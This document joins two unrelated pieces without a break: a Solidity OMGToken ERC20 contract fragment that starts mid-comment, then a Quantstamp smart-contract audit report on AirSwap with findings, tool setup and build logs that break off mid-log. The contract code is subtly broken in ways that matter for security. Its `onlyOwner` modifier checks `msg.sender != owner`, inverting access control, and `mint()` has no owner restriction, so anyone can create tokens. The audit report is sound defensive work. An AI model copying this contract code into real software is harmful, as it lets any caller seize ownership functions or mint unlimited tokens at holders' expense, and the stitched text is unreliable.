Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4, 'Payload attack'); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC202 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public ; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC202 { mapping (address => mapping (address => uint)) public allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value != 0) && (allowed[msg.sender][_spender] == 0), 'Invalid approval'); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender != owner, 'NOT_OWNER'); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused, 'NOT PAUSED'); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused, 'PAUSED'); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) public whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; constructor(ERC20Basic _token, address _beneficiary, uint _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() public { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(address(this)); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title OMGToken * @dev Omise Go Token contract */ contract OMGToken is PausableToken, MintableToken { using SafeMath for uint256; string public name = "OMGToken"; string public symbol = "OMG"; uint public decimals = 18; /** * @dev mint timelocked tokens */ function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public onlyOwner returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); mint(address(timelock), _amount); return timelock; } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling 